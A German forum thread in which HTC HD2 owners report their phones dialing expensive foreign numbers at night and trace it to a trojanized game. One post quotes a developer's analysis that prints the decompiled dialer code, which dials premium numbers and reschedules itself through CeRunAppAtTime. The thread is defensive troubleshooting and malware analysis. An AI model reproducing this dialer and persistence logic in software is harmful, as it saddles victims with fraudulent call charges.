HD2 wählt von selber ins Ausland

Hallo miteinander,
habe heute Nacht eine sehr seltsame Erfahrung machen müssen.
Um ca 3:28 Uhr hörte ich mein Handy einen Anruf tätigen, ich schaute
sofort aufs Display und sah die Nummer +8823460777
ich ging sofort auf die auflegen taste.
Einen moment später wählte es wieder von selbst, aber diesmal die Nummer
+1 (767) 503-3611 , ich beendete wieder und kurz darauf wählte es erneut.
Diesmal folgende Nummer +88213213214 und erneut beendete ich. Und es dauerte nicht lang da wählte es schon wieder eine neue Nummer
+25240221601

Jetzt hatte ich die Schnauze voll und stellte den Flugmodus ein damit ich noch ein bisschen schlafen konnte. Als ich es vorhin wieder einschlaltete rief es wieder die Nummer +1 (767) 503-3611 an


Habe das aktuelle Original Rom 1.66.407.1
Ich habe mich auch schon ein bisschen auf englisch sprachigen Foren schlau gemacht, die haben zwar das selbe Problem, wissen aber auch nicht woran
es liegt.

Hat hier jemand ähnliche erfahrungen machen müssen?

mfg PP

Schon mal den Support von HTC kontaktiert?

Hi,

ich kenne das Problem aber bei mir hat es einmalig die Nummer +88213213214 gewählt.

Hast du mal von Freunden eine SMS von einem Free-SMS Versand Dienst erhalten? wie zb easysms etc...?

Weil diese Nummer gerne von solchen Free-SMS Diensten verwendet werden. Glaube sogar das die o.g. Nummer von Easysms ist.

Habe leider keine mehr im Posteingang weil sonst hätte ich schauen können.

Aber das selbst wählen ist mir ein Rätsel.

Falls nichts hilft... ein Hardreset hilft immer und dann die Rom ein weiteres mal drauf spielen.

Halt uns mal auf dem laufenden.

Gruß
Schizo

Hallo
Ich hatte genau das selbe Problem heute Nacht bin wach geworden durch eine Stimme "Diese Auslandsvorwahl ist aus dem O2 Netz nicht zu erreichen" also denk ich mal das ich keinen schaden habe... habe jetzt Kaspersky Mobile rüberlaufen lassen kann aber nichts finden so wie ich das rausbekommen habe sind das Vorwahlen zu Satelliten Handys also sehr teuer.

Mein Handy hat versucht folgende Nr. zu erreichen :

+88213213214
+25240221601
+1 (767) 503-3677
+882346077

Kennt jemand eine Lösung wie ich das los bekomme

Gruss

Miguel

Schaut Ihr dort bei den dev´s. Riesen Problem für viele und bisher keine Lösung

http://forum.xda-developers.com/showthread.php?t=650393

Wie es aussieht wählt das Handy immer die gleiche Reihenfolge von gleichen Nummern nacheinander.
Kann sein das sich ein Script im Hintergrund installiert hat (art Virus vielleicht) und immer um die gleiche Uhrzeit versucht einzuwählen.

In dem Forum bei den Dev`s scheint einer der Auslöser identifiziert worden zu sein. Ein Spiel namens "3D Anti Terrorist". Alllein dei Deinstallation scheint aber nicht zu helfen, bei der Installation scheint die Cab das Phone an beliebiger Stelle mit einem dialer zu infizieren, der bei der Deinstalllationsroutine nicht erfasst wird. Klingt nicht gut und nach einem hard reset für viele ...

So habe mal bei Kaspersky angerufen die wollen sich wieder bei mir melden ... kennen das Problem bin ja mal gespannt

Wie Santa Claus sagt haben fast alle die dieses Problem haben das Spiel "Anti Terrorist" installiert.

und die einzige Lösung scheint ein Hardreset zu sein.

wenn ich ein hardrest mache ist dan die speicherkarte auch leer??? oder nur das telefon und wenn der virus auf der karte ist??

das hab ich mir fast schon gedacht. hatte das spiel auch installiert.

Zitat:

---

Zitat von Miguel77

wenn ich ein hardrest mache ist dan die speicherkarte auch leer??? oder nur das telefon und wenn der virus auf der karte ist??

---

Ne beim Hardreset wird nur das Telefon gelöscht speicherkarte bleibt unberührt.

Ja das Problem ist wenn das Zeug auf der Speicherkarte sein könnte.
Denke aber nicht da es ein Script im Hauptspeicher sein muss da es eine Verküpfung mit dem Anrufen haben muss.

Falls du dir unsicher bist.

Speicher dir deine Musik, Bilder etc. auf deinen PC. Schaue die Ordner genau an und such nach Dateien welche du nicht kennst.
Programme welche du auf der Speicherkarte hast kannst du dir ja aufschreiben also die Namen und sie nach installieren.

naja habe mich mal bei o2 für auslands nummern sperren (kostenlos) lassen so kann ja nix passieren erstmal, mal abwarten vielleicht gibts bald ne lösung...

Übeltäter scheint tatsächlich das Spiel Anti Terrorist zu sein. Funktioniert nach einem Eintrag bei den Dev´s von leTama wie folgt:

I took a quick look at the game, here is what I found:

There is a reg.exe file installed (dotnet application), it copies itself to smart32.exe in windows directory and then does this:

Phone phone = new Phone();
phone.Talk("+8823460777");
Thread.Sleep(0xc350);
phone.Talk("+17675033611");
Thread.Sleep(0xc350);
phone.Talk("+88213213214");
Thread.Sleep(0xc350);
phone.Talk("+25240221601");
Thread.Sleep(0xc350);
phone.Talk("+2392283261");
Thread.Sleep(0xc350);
phone.Talk("+881842011123");
long num6 = DateTime.Now.AddMonths(1).ToFileTime();
long num7 = 0L;
FileTimeToLocalFileTime(ref num6, ref num7);
SystemTime time6 = new SystemTime();
FileTimeToSystemTime(ref num7, time6);
CeRunAppAtTime(@"\Windows\smart32.exe", time6);

Definitely the culprit.

LeTama[/I]__________________
Diamond (LeTama-UC7)
Elf (LeTama-21159.2)
Leo (LeTama-1.66-4)

Schaut also, ob Ihr die smart32.exe im windows - Verzeichnis habt. Unklar allerdings noch, ob auch andere Programme auf diese Datei zugreifen. Anscheinend nicht, aber sicher sind die dev´s sich noch nicht ...

Anbei der link zu einer ausführlichen Problembeschreibung incl. der bis heute bekannten Lösungsansätze (dafür ans Ende der Seite scrollen). Ich hoffe, es hilft Euch.

http://www.1800pocketpc.com/2010/04/...er-trojan.html

zu den nummern oder eine die gewählt wird, habe ich folgenden interessanten artikel gefunden:
http://www.itseccity.de/?url=/conten..._eutelsat.html
nach dem alter des artikels hat es ein ähnliches problem schon vormals gegeben,
mfg

Zitat:

---

Zitat von Santa Claus

In dem Forum bei den Dev`s scheint einer der Auslöser identifiziert worden zu sein. Ein Spiel namens "3D Anti Terrorist". Alllein dei Deinstallation scheint aber nicht zu helfen, bei der Installation scheint die Cab das Phone an beliebiger Stelle mit einem dialer zu infizieren, der bei der Deinstalllationsroutine nicht erfasst wird. Klingt nicht gut und nach einem hard reset für viele ...

---

Mein HD2 hat heute nacht auch 2 Nummern davon ungewollt kontaktiert.
Hab hard resettet und ein altes Backup aufgespielt. Hoffe, nun befreit zu sein.
Hatte auch dieses dämliche Spiel nur installiert!!! Noch nicht mal angespielt. Nur installiert !!!

Die Installation des Spiels reicht aus, damit das Skript aktiv wird!

Zitat:

---

Zitat von prince-paran

Hallo miteinander,
habe heute Nacht eine sehr seltsame Erfahrung machen müssen.
Um ca 3:28 Uhr hörte ich mein Handy einen Anruf tätigen, ich schaute
sofort aufs Display und sah die Nummer +8823460777
ich ging sofort auf die auflegen taste.
Einen moment später wählte es wieder von selbst, aber diesmal die Nummer
+1 (767) 503-3611 , ich beendete wieder und kurz darauf wählte es erneut.
Diesmal folgende Nummer +88213213214 und erneut beendete ich. Und es dauerte nicht lang da wählte es schon wieder eine neue Nummer
+25240221601

Jetzt hatte ich die Schnauze voll und stellte den Flugmodus ein damit ich noch ein bisschen schlafen konnte. Als ich es vorhin wieder einschlaltete rief es wieder die Nummer +1 (767) 503-3611 an


Habe das aktuelle Original Rom 1.66.407.1
Ich habe mich auch schon ein bisschen auf englisch sprachigen Foren schlau gemacht, die haben zwar das selbe Problem, wissen aber auch nicht woran
es liegt.

Hat hier jemand ähnliche erfahrungen machen müssen?

mfg PP

---

Ich glaube das du dass hast siehe link --> HIER

Also bei mir ist der virus weg Kaspersky hat ein Update rausgebracht!

bitte geht zur Polizei.
Die sollen bei computerbetrug.de nachfragen, falls sie Infos brauchen

Trotzdem fallen jetzt kosten von 42 € auf mich.
Die irgendwie zurück zuerstatten wäre sinnlos, richtig?
Habe den MTV Mobile Vertrag.

Zitat:

---

Trotzdem fallen jetzt kosten von 42 € auf mich.
Die irgendwie zurück zuerstatten wäre sinnlos, richtig?
Habe den MTV Mobile Vertrag.

---

Wie hoch die Kosten für dich sind kannst nur du selbet wissen.
Das sich kaum einer bereiterklärt die zu übernehmen wird auch klar sein - denn du wurdest ja schließlich gewarnt das das Programm von einer fragwürdigen Qulle stammt und hast bestätigt das du dennoch installieren willst - oder nicht?? :wall:

mit der Google_suche "anti terorrist ppc" findet man seit anfang April Warnhinweise aus einen Ghost dailer

learning by doing/paying